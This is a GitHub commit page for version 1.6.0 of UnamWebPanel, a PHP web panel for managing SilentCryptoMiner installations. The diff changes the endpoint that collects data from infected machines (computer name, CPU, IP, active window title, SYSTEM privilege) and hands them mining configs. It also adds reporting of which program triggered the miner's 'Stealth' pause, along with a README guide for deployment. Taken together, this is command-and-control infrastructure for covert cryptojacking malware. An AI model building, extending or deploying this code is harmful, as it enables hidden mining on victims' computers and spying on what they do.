Skip to content

Commit

Permalink
Updated to v1.6.0
Browse files Browse the repository at this point in the history
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
* Added support for new miner ID per build to allow for running multiple miners of the same type at the same time
* Added Polish translation (Werlrlivx)
* Changed database settings to allow for better performance during large amounts of activity
* Changed offline status time threshold from five minutes to three minutes
* Changed endpoint text when the request isn't from the miner to reduce confusion
* Changed string sanitation away from FILTER_SANITIZE_STRING due to PHP 8.1 deprication
* Moved database to its own folder to allow for broader database file blocks
  • Loading branch information
UnamSanctam committed Jun 1, 2022
1 parent 3426eb8 commit 4064da1
Show file tree
Hide file tree
Showing 20 changed files with 431 additions and 172 deletions.
10 changes: 10 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,13 @@
### 1.6.0 (01/06/2022)
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
* Added support for new miner ID per build to allow for running multiple miners of the same type at the same time
* Added Polish translation (Werlrlivx)
* Changed database settings to allow for better performance during large amounts of activity
* Changed offline status time threshold from five minutes to three minutes
* Changed endpoint text when the request isn't from the miner to reduce confusion
* Changed string sanitation away from FILTER_SANITIZE_STRING due to PHP 8.1 deprication
* Moved database to its own folder to allow for broader database file blocks
### 1.5.0 (01/05/2022)
* Added new field "Version" that shows the miner version
* Added new field "Active Window" that shows the currently active foreground windows title
Expand Down
59 changes: 24 additions & 35 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<img src="https://github.com/UnamSanctam/UnamWebPanel/blob/master/UnamWebPanel.png?raw=true">

# UnamWebPanel v1.5.0
# UnamWebPanel v1.6.0

A web panel currently used to optionally monitor and manage the [SilentCryptoMiner](https://github.com/UnamSanctam/SilentCryptoMiner). Might support any other projects I release in the future as well.

Expand All @@ -18,6 +18,16 @@ If you wish to add the web panel to the SilentCryptoMiner then enter the followi

If you use something other than Apache or IIS to host the web panel then you should check if your database file is exposed to the internet, you can check it by visting the URL `http://yourwebsite.com/unamwebpanel.db` (replace yourwebsite.com with your URL or IP), if it says forbidden or doesn't display anything then your database is secured.

### For local testing

If you simply want to set up a local web panel for testing then here are some simple steps to do so.
1. Download XAMPP and install it
2. Extract the UnamWebPanel files into `C:\xampp\htdocs` (or wherever you installed it)
3. Open the XAMPP Control Panel and press the "Start" button next to "Apache"
4. Browse to http://localhost/ and you should be able to login (default password `UnamSanctam`) and view the web panel

Then if you want any local miners on your computer to connect to it then enter http://localhost/api/endpoint.php into the "API Endpoint URL" of the miners in the miner builder.

## Wiki

You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wiki) or at the top of the page. (In progress)
Expand All @@ -28,6 +38,16 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi

## Changelog

### 1.6.0 (01/06/2022)
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
* Added support for new miner ID per build to allow for running multiple miners of the same type at the same time
* Added Polish translation (Werlrlivx)
* Changed database settings to allow for better performance during large amounts of activity
* Changed offline status time threshold from five minutes to three minutes
* Changed endpoint text when the request isn't from the miner to reduce confusion
* Changed string sanitation away from FILTER_SANITIZE_STRING due to PHP 8.1 deprication
* Moved database to its own folder to allow for broader database file blocks
### 1.5.0 (01/05/2022)
* Added new field "Version" that shows the miner version
* Added new field "Active Window" that shows the currently active foreground windows title
Expand All @@ -38,38 +58,6 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi
* Added error text when an XMR miner cannot connect to its pool
* Added German and French datatable translation files
* Fixed miner table ordering
### v1.4.2 (01/04/2022)
* Added French translation (Kolhax)
* Added German translation (leisefuxX)
### v1.4.1 (11/01/2022)
* Fixed null hashrate datatable formatting error
* Changed project versioning to x.x.x formatting
### v1.4.0 (09/01/2022)
* Added functionality to remove miners from the list
* Added JSON validation functionality to warn when saving incorrect configurations
* Added username display into the miner list
* Added "Auto refresh" toggle button for automatic miner list refreshing
* Added robots.txt file to stop search engines from indexing the web panel
* Added directory listing block in .htaccess for better privacy
* Added previously ignored "Logs" folder back
* Changed "Default" configuraiton into "Default ethminer" and "Default xmrig" configurations to allow different default configurations for the two different miners
* Fixed possible database "corruption" when null hashrates were submitted
* Fixed broken miner searching and sorting
### v1.3.0 (09/11/2021)
* Added Unique ID generation on the panel side instead of the miner side
* Changed all file calls to be relative to allow easier deployment of the panel in subfolders
* Removed unnecessary configuration options due to everything being relative now
### v1.2.0 (09/11/2021)
* Added GPU and CPU to the miners datatable
* Added GPU and CPU to the database
### v1.1.0 (09/11/2021)
* Added unamwebpanel.db into the .htaccess and web.config files as a forbidden path to secure the SQLite database on Apache and IIS servers without having to place the database in a non-public folder
* Removed recommendation to move the database file to a non-public folder due to the added protection files for Apache and IIS
* Downgraded web panels required PHP version to 7.0
* Added miner type to the miners datatable to make it easier to differentiate what base miner it is using
* Fixed broken miner status condition
### v1.0.0 (08/11/2021)
* Initial release

[You can view the full Changelog here](CHANGELOG.md)

Expand All @@ -79,8 +67,9 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi

## Contributors

* **(Kolhax)[https://github.com/Kolhax]** - French Translation
* **(leisefuxX)[https://github.com/leisefuxX]** - German Translation
* **[Kolhax](https://github.com/Kolhax)** - French Translation
* **[leisefuxX](https://github.com/leisefuxX)** - German Translation
* **[Werlrlivx](https://github.com/Werlrlivx)** - Polish Translation

## Disclaimer

Expand Down
6 changes: 3 additions & 3 deletions UnamWebPanel/.htaccess
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
DirectoryIndex index.php
<Files "unamwebpanel.db">
<FilesMatch "unamwebpanel\.db">
Require all denied
</Files>
Options -Indexes
</FilesMatch>
Options -Indexes
2 changes: 1 addition & 1 deletion UnamWebPanel/__UNAM_LIB/Logs/dummy
Original file line number Diff line number Diff line change
@@ -1 +1 @@
This file is a dummy file whose raison d'être is to ensure that the folder that this file is located in does not get ignored.
This file is a dummy file whose raison d'être is to ensure that the folder that this file is located in does not get ignored for being empty.
9 changes: 5 additions & 4 deletions UnamWebPanel/__UNAM_LIB/unam_lib.php
Original file line number Diff line number Diff line change
Expand Up @@ -130,27 +130,28 @@ function unam_dbDelete($conn, $table_name, $where_array)
}
}

function unam_filterParameter($param, $maxlength = 1000, $default = '', $filter=FILTER_SANITIZE_STRING, $flags=FILTER_FLAG_NO_ENCODE_QUOTES){
function unam_filterParameter($param, $maxlength = 1000, $default = ''){
if(!isset($_POST[$param]) && !isset($_GET[$param])) {
return $default;
}
$fparam = self::unam_arrayWalkRecursive(filter_input((isset($_POST[$param]) ? INPUT_POST : INPUT_GET), $param, $filter, FILTER_FORCE_ARRAY | $flags), function(&$v){ global $maxlength; $v = substr($v, $maxlength); });
$fparam = self::unam_arrayWalkRecursive($_POST[$param] ?? $_GET[$param], function(&$v){ global $maxlength; $v = strip_tags(substr($v, $maxlength)); });
return (count($fparam) == 1 ? $fparam[0] : $fparam);
}

function unam_filterAllParameters($maxlength = 1000, $default = '', $filter=FILTER_SANITIZE_STRING, $flags=FILTER_FLAG_NO_ENCODE_QUOTES)
function unam_filterAllParameters($maxlength = 1000, $default = '')
{
$paramarr = array_merge($_POST, $_GET);
$outarr = [];
if(is_array($paramarr)){
foreach($paramarr as $param=>$data){
$outarr[$param] = self::unam_filterParameter($param, $maxlength, $default, $filter, $flags);
$outarr[$param] = self::unam_filterParameter($param, $maxlength, $default);
}
}
return $outarr;
}

function unam_arrayWalkRecursive($arr, $function){
$arr = is_array($arr) ? $arr : [$arr];
array_walk_recursive($arr, $function);
return $arr;
}
Expand Down
5 changes: 5 additions & 0 deletions UnamWebPanel/api/ajax-actions.php
Original file line number Diff line number Diff line change
Expand Up @@ -27,5 +27,10 @@
$base->tableModify(getConn(), 'delete', 'miners', 'ms', [], ['minerID']);
$base->unam_echoSuccess("{$larr['Miner']} {$larr['has_been_removed']}.");
break;
case 'miner-clean':
$base->unam_checkCondition(!preg_match("/^\d+$/", getParam('amount')) || getParam('amount') < 1, "{$larr['invalid_input']}.");
$base->unam_dbDelete(getConn(), 'miners', ['$CUSTOM'=>"ms_lastConnection < datetime('now', '-".getParam('amount')." day')"]);
$base->unam_echoSuccess("{$larr['Success']}!");
break;
}
}
14 changes: 8 additions & 6 deletions UnamWebPanel/api/endpoint.php
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE) {
echo "Error: Invalid data";
echo "Endpoint is up and running. This page is shown since no data was posted during the request or the data posted was invalid.";
return;
}

Expand All @@ -15,8 +15,9 @@ function getData($key){

$uqhash = substr(md5(getData('computername').getData('cpu')), 0, 16);
$type = getData('type');
$id = getData('id');

$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash' => $uqhash, 'ms_type'=>$type]);
$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);

$fields = [
'ms_ip'=>$hostaddress,
Expand All @@ -35,16 +36,17 @@ function getData($key){
'ms_activewindow'=>getData('activewindow'),
'ms_runtime'=>getData('runtime'),
'ms_version'=>getData('version'),
'ms_stealthfound'=>getData('stealthfound'),
'ms_remoteURL'=>getData('remoteconfig'),
'ms_lastConnection'=>$currentDate
];

if ($miner) {
$base->unam_dbUpdate(getConn(), 'miners', $fields, ['ms_uqhash' => $uqhash, 'ms_type'=>$type]);
$base->unam_dbUpdate(getConn(), 'miners', $fields, ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);
} else {
$base->unam_dbInsert(getConn(), 'miners', array_merge(['ms_uqhash'=>$uqhash, 'ms_type'=>$type, 'ms_config'=>($type == 'xmrig' ? 1 : 2)], $fields));
$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash' => $uqhash, 'ms_type'=>$type]);
$base->unam_dbInsert(getConn(), 'miners', array_merge(['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type, 'ms_config'=>($type == 'xmrig' ? 1 : 2)], $fields));
$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);
}

$config = $base->unam_dbSelect(getConn(), 'configs', 'cf_data', ['cf_configID' => $miner['ms_config'] ?? 0]);
echo $config['cf_data'] ?? json_encode(['response'=>'ok']);
echo $config['cf_data'] ?: json_encode(['response'=>'ok']);
22 changes: 19 additions & 3 deletions UnamWebPanel/assets/php/datatables.php
Original file line number Diff line number Diff line change
Expand Up @@ -25,12 +25,24 @@
'db_column'=>'ip',
'display'=>'IP'
],
'stealthfound'=>[
'db_column'=>'stealthfound',
'hidden'=>true
],
'status'=>[
'db_column'=>'status',
'display'=>$larr['Status'],
'formatting'=>function($d, $s){
$offline = isset($s['ms_lastConnection']) && ((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])) > 300);
return unamtMinerStatus(empty($s['ms_pool']) ? 7 : ($offline ? -1 : $d)).($offline ? unamtStatusColor('red', " (".unamtTimeFormat((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])), true).")") : '');
global $larr;
$offline = isset($s['ms_lastConnection']) && ((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])) > 180);
$status = unamtMinerStatus(empty($s['ms_pool']) ? 7 : ($offline ? -1 : $d));
if($offline) {
$status .= unamtStatusColor('red', " (".unamtTimeFormat((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])), true).")");
}
if($d == 4) {
$status = str_replace('{REASON}', !empty($s['ms_stealthfound']) ? $s['ms_stealthfound'] : $larr['Unknown'], $status);
}
return $status;
}
],
'algorithm'=>[
Expand Down Expand Up @@ -94,7 +106,11 @@
],
'activewindow'=>[
'db_column'=>'activewindow',
'display'=>$larr['active_window']
'display'=>$larr['active_window'],
'formatting'=>function($d){
global $larr;
return $d == 'Running as System' ? $larr['running_as_system']: $d;
}
],
'runtime'=>[
'db_column'=>'runtime',
Expand Down
2 changes: 1 addition & 1 deletion UnamWebPanel/assets/php/session-header.php
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@

$currentDate = date('Y-m-d H:i:s');

$langID = (isset($_SESSION['lang']) && !empty($_SESSION['lang']) ? $_SESSION['lang']: 'en');
$langID = !empty($_SESSION['lang']) ? $_SESSION['lang'] : 'en';

require_once dirname(__DIR__, 2).'/lang/lang.php';

Expand Down
21 changes: 12 additions & 9 deletions UnamWebPanel/assets/php/templates.php
Original file line number Diff line number Diff line change
Expand Up @@ -189,7 +189,7 @@ function unamtMinerStatus($status){
case 3:
return unamtStatusColor('green', "{$larr['Active']} ({$larr['Idle']})");
case 4:
return unamtStatusColor('yellow', "{$larr['Paused']} ({$larr['Stealth']})");
return unamtStatusColor('yellow', "{$larr['Paused']} ({$larr['Stealth']} - {REASON})");
case 5:
return unamtStatusColor('yellow', $larr['not_enough_free_vram']);
case 6:
Expand Down Expand Up @@ -243,7 +243,8 @@ function templateLanguageSelect(){
"<option ".($langID == 'en' ? 'selected' : '')." value='en'>English</option>
<option ".($langID == 'sv' ? 'selected' : '')." value='sv'>Swedish</option>
<option ".($langID == 'fr' ? 'selected' : '')." value='fr'>French</option>
<option ".($langID == 'de' ? 'selected' : '')." value='de'>German</option>"
<option ".($langID == 'de' ? 'selected' : '')." value='de'>German</option>
<option ".($langID == 'pl' ? 'selected' : '')." value='pl'>Polish</option>"
, ['classes'=>'nav-lang']);
}

Expand Down Expand Up @@ -291,14 +292,16 @@ function templateDatatableX($datatable, $options=[]){
$tabledata = [];
$icount = 0;
foreach($etable['columns'] as $column){
$tabledata['display'][] = $column['display'];
if(isset($column['editable']) && $column['editable']){
$tabledata['edit_columns'][$icount] = $column['db_column'];
}
if(isset($column['edit_format'])){
$tabledata['edit_format'][] = ['column'=>$icount, $column['edit_format']];
if(!isset($column['hidden']) || !$column['hidden']) {
$tabledata['display'][] = $column['display'];
if (isset($column['editable']) && $column['editable']) {
$tabledata['edit_columns'][$icount] = $column['db_column'];
}
if (isset($column['edit_format'])) {
$tabledata['edit_format'][] = ['column' => $icount, $column['edit_format']];
}
$icount++;
}
$icount++;
}
return unamtCard(12, $etable['html_header']." <div class='card-tools'>{$cf(templateRefreshDatatables())}</div>", 'custom-tables',
unamtDatatable($datatable, array_column($etable['columns'], 'display'), array_merge(['edit_columns'=>$tabledata['edit_columns'] ?? '', 'edit_format'=>$tabledata['edit_format'] ?? ''], $options))
Expand Down
25 changes: 19 additions & 6 deletions UnamWebPanel/class/class.ssp.php
Original file line number Diff line number Diff line change
Expand Up @@ -32,15 +32,20 @@ private static function data_output ( $options, $data ) {
$columns = $options['columns'];
for ( $i=0, $ien=count($data) ; $i<$ien ; $i++ ) {
$row = array();
$cur = 0;
for ( $j=0, $jen=count($columns) ; $j<$jen ; $j++ ) {
$column = $columns[$j];
// Is there a formatter?
if (isset( $column['formatting'] ) ) {
$row[$j] = $column['formatting']( $data[$i][ self::column_name_out($column) ], $data[$i] );
if(isset($column['hidden']) && $column['hidden']){
continue;
}
else if (isset( $column['formatting'] ) ) {
$row[$cur] = $column['formatting']( $data[$i][ self::column_name_out($column) ], $data[$i] );
}
else {
$row[$j] = $data[$i][ self::column_name_out($column) ];
$row[$cur] = $data[$i][ self::column_name_out($column) ];
}
$cur++;
}
$out[] = $row;
}
Expand All @@ -67,11 +72,19 @@ static function process ($conn, $request, $options ) {
if (!isset($options['db_alias']))
$options['db_alias'] = $options['db_table'][0];

$optionsE = $options;
foreach($options['columns'] as $key=>$value){
if(isset($value['hidden']) && $value['hidden']){
unset($optionsE['columns'][$key]);
$optionsE['columns'] = array_values($optionsE['columns']);
}
}

// Build the SQL query string from the request
$limitSql = self::limit( $request );
$orderSql = self::order( $request, $options );
$whereSql = self::filter( $request, $options, $bindings );
$joinSql = self::table_join( $options );
$orderSql = self::order( $request, $optionsE );
$whereSql = self::filter( $request, $optionsE, $bindings );
$joinSql = self::table_join( $optionsE );

$whereAllSql = '';

Expand Down
1 change: 1 addition & 0 deletions UnamWebPanel/class/db.php
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ function getConn($type='conn'){
{
$conn = new PDO($connectionString);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$conn->exec('PRAGMA synchronous = NORMAL;PRAGMA temp_store = MEMORY;');
return $conn;
}
catch(PDOException $e)
Expand Down
6 changes: 3 additions & 3 deletions UnamWebPanel/config.php
Original file line number Diff line number Diff line change
Expand Up @@ -14,15 +14,15 @@
* WEBSITEURL/unamwebpanel.db (replace WEBSITEURL with your URL),
* if it returns a 403 Forbidden error then you are protected
*/
$config['db_file'] = dirname(__FILE__)."/unamwebpanel.db";
$config['db_file'] = dirname(__FILE__)."/db/unamwebpanel.db";

$config['failedlogin_blocktime'] = 15;
$config['failedlogin_blocktries'] = 5;

$config['api_minreportime'] = 50;

$config['languages'] = ['en', 'sv', 'fr', 'de'];
$config['languages'] = ['en', 'sv', 'fr', 'de', 'pl'];

$config['unam_version'] = "1.5.0";
$config['unam_version'] = "1.6.0";

global $config;
9 changes: 9 additions & 0 deletions UnamWebPanel/db/.htaccess
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
<IfModule mod_authz_core.c>
Require all denied
</IfModule>

<IfModule !mod_authz_core.c>
Order Allow,Deny
Deny from all
</IfModule>
Options -Indexes
Binary file not shown.
Loading

0 comments on commit 4064da1

Please sign in to comment.